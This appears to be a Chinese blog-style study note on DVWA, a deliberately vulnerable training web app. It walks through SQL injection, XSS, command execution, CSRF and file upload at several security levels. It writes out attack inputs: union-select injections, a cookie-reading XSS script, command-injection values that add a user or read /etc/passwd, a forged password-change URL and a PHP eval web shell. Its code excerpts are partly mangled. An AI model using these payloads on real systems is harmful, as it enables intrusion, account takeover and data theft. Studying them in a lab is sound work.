一开始有点乱,后期会整理哒
DVWA的安装
解压 --> 修改config.inc.php文件,把mysql的用户名和密码改成我们安装机器的用户名和密码,访问,第一次就会跳到setup界面。点击Create就可以了
乱码问题,如果出现乱码了,那DVWA\dvwa\includes\dvwaPage.inc.php修改文件,使得Header('charset=utf-8')改为gb2312.
DVWA的基本漏洞——SQL
乌云上最常见的脚本漏洞莫过于SQL注入和XSS。
脚本安全的本质就是脚本接受了不安全的变量输入,又没得到有效的过滤,最后进入一些对敏感的函数就会对安全造成威胁。
最基本的SQL漏洞(low):
1 if(isset($_GET['Submit'])){2 3 // Retrieve data4 5 $id = $_GET['id'];6 7 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//low.php8 $result = mysql_query($getid) or die('' . mysql_error() . '' );
没有任何检查,自然就可以控制id了,如果我们的输入是“' union select ....”,那么就相当于多执行了一个语句。当然,用什么语句也是很讲究的。
再来看medium等级的
1 //medium.php 2 if (isset($_GET['Submit'])) { 3 4 // Retrieve data 5 6 $id = $_GET['id']; 7 $id = mysql_real_escape_string($id); 8 9 $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";10 11 $result = mysql_query($getid) or die('' . mysql_error() . '' );12 13 $num = mysql_numrows($result);
虽然$id经过了mysql_real_escape_string转义了’,可是因为后面的SQL语句$id没有单引号保护,会被系统认为是数值型,导致数值型注入。。
这个时候构造,连分号都不要了。。“ 1 union select ...”
DVWA的基本漏洞——XSS
脚本问题,终极目的是窃取cookie什么的。。
DVWA下的;low等级下,几乎没有什么防护,直接插入语句就可以了,像
<script>alert("五更钟")<script>
<script>alert(document.cookie)<script>
medium.php中,虽然对$message进行了尖括号转义,而且对 <script>
进行了替换,但是$name没有进行转义,而且跨站脚本可以用多种标签,如 <img />
,等…。Name的 <input />
限制了maxlength=‘10’的长度,但是我们的防御对象是精通技术的黑客。这种html下的长度限制是可以直接通过浏览器修改..然后通过大小写成功绕过str_replace(),插入XSS.
DVWA-Command Execution
low等级下,根本没有防护,我们分析一下代码功能:
1 { $cmd}";19 }20 21 ?>
获取ip --> 根据操作系统的不同决定shell的执行,你知道的, 不给Linux系统设置一下传包个数,都不会完。。
试试看输入“0|dir”,路径就出来了
试试“0|net user hacker/add” 呵呵
除了shell_exec还有几个命令常常造成bug:system|passthru|exec|popen|proc_open|move_upload_file|eval|copy
medium等级下注意这句:
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
好吧,你知道的,想法是好的,但是str_replace它用的不全啊,连“|”都不换掉。。
在linux平台下,可以试试“ip;cat /etc/passwd”感觉这个漏洞对linux的影响比较大,毕竟大家习惯在linux下命令行来,命令行去的。
File Inclusion 文件包含漏洞
CSRF漏洞
DVWA下的CSRF漏洞是一个密码修改,而且修改URL是:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
黑客就可以构造一个网页,将上面这段代码放入网页中,然后诱骗管理员打开这个页面,如果此时管理员恰好正在对网站进行操作,在管理员的浏览器与网站之间建立好了会话,那么上面这段代码就会生效。就是这么简单。比如这个利用
到medium等级,验证了Referer字段,这个我就不多说,从中的解释我觉得很好
在通常情况下,访问一个安全受限页面的请求应来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallor,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的Referer值就会是转账按钮所在的页面的URL,通常是以bank.example域名开头的地址。而如果要对银行网站实施CSRF攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的Referer是指向黑客自己的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank.example开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。
在DVWA中,管理员是通过本地地址127.0.0.1来访问密码修改页面的,因而对于任何一个修改密码的请求,如果其Referer不是127.0.0.1,那么就判断为CSRF攻击,而予以拒绝。正常Referer:http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/(我部署在8088端口啦) 然而这种方法并非万无一失,由于Referer的值是由浏览器提供的,对于某些浏览器,可以利用一些方法来篡改Referer值。所以黑客完全可以把用户浏览器的Referer值修改为需要的地址,这样就可以通过验证,从而进行 CSRF 攻击。另外即使黑客无法篡改Referer值,这种方法也仍然存在问题。因为Referer值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心Referer值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。 总之,通过验证HTTP Referer字段来防止CSRF攻击是不可靠的,这也是为什么DVWA的medium级别采用这种防御方法的原因。不过虽然是medium等级,但是Referer的值你以为那么好改,我目前还没有看到要怎么合理利用使得被害用户能心甘情愿的改Referer。。不过这个设置有个挺大的bug,就是使用了eregi函数呀,if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
这是匹配函数int eregi(string pattern, string string, array [regs]);
即如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs, 则匹配项将被存入 regs 数组中。 regs[0] 内容就是原字符串 string, $regs[1] 包含第一个左圆括号开始的子串, $regs[2] 包含第二个子串,以此类推。 若省略参数 regs,则只是单纯地比对,找到则返回值为 true。 也就是,我只要包含到 'SERVER_NAME'说不定。。
high等级就更厉害啦,验证了token值,checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 隐藏在表单中:<input type="hidden" name="user_token" value="03e575eba665be96b285cf3240876fec">
我们来看看 ,写挺好
然后就是impossible等级,
都这个样子了还有什么好说的
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "Password Changed."; } else { // Issue with passwords matching echo "Passwords did not match or current password incorrect."; } } // Generate Anti-CSRF token generateSessionToken(); ?>
File Upload 文件上传漏洞
呐,这个呢,上传漏洞主要注意基本三点:文件名检测、文件类型检测、内容检测
low等级下没有检测。。。。直接上传乱七八糟的东西都可以。。
medium等级下做类型检测和长度限制,这样一改,ok了
上传之后能干什么呢?
打开中国菜刀(膜大神Orz)
也就是,用工具连接我们上传的一句话木马(<?php @eval($_POST['123']);?> ),然后就OK了
参考学习链接:
http://drops.wooyun.org/papers/483?utm_source=tuicool&utm_medium=referral